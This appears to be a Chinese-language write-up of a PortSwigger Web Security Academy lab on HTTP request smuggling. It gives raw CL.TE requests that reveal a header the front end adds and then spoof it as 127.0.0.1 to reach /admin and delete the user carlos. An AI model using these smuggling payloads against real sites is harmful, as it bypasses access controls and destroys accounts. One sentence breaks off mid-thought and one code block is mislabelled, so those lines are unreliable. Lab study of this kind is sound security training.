> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/request-smuggling/discovery-of-rewriting-by-the-front-end.md).
# 发现前端重写
发现前端重写笔记，适用于 PortSwigger Web Security Academy 实验室，包括利用流程、载荷测试、Burp Suite 验证和修复上下文。
### 利用 HTTP 请求走私揭示前端请求重写
该站点由前端服务器和后端服务器组成。前端\*\*不接受分块编码\*\*。/ 访问管理板 /admin 仅保留给来自 **127.0.0.1**. / 在将请求转发到后端之前，前端\*\*会添加一个包含客户 IP 地址的自定义请求头\*\*。这种行为看起来像经典的 X-Forwarded-For，但请求头名称不同。
目标有两个：
1. **发送一个请求** 以揭示前端添加的这个请求头的名称。
2. **发送一个走私的** 包含此请求头的请求，将其强制设为 127.0.0.1，以访问管理面板并删除 carlos 用户。
#### **行为分析**
* 在搜索参数中发送的字段会在响应中返回，这表明我们可以用它来观察注入效果。
* 发送：
```http
Content-Length: 5
Transfer-Encoding: chunked
0
```
该请求无错误地处理（200 OK），这证实了 **前端解析 Content-Length**，而 **后端忽略 Transfer-Encoding**.
* 在走私额外的 POST 请求时：
```http
Content-Length: 55
Transfer-Encoding: chunked
0
POST / HTTP/1.1
Content-Length: 13
search=test
```
多出的字节（此处，
* 将 Content-Length 增加到 125 后，响应暴露了前端添加的请求头。/ 该请求头是：
```http
Content-Length: 125
```
X-KwWCmS-Ip
#### **访问管理面板**
通过伪造一个包含此请求头并将其强制设为 **127.0.0.1**，你就能访问 /admin：
```http
POST / HTTP/1.1
Host: 0a740022030a5b81820ebfb900ae0054.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 85
Transfer-Encoding: chunked
0
POST /admin HTTP/1.1
X-KwWCmS-Ip: 127.0.0.1
Content-Length: 13
search=test
```
#### **删除 Carlos 用户**
第二个走私请求可让你直接调用删除端点：
```http
POST / HTTP/1.1
Host: 0a740022030a5b81820ebfb900ae0054.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 107
Transfer-Encoding: chunked
0
POST /admin/delete?username=carlos HTTP/1.1
X-KwWCmS-Ip: 127.0.0.1
Content-Length: 13
search=test
```
随后，carlos 用户会通过后端被删除，看起来像一个经过授权的内部请求。
---
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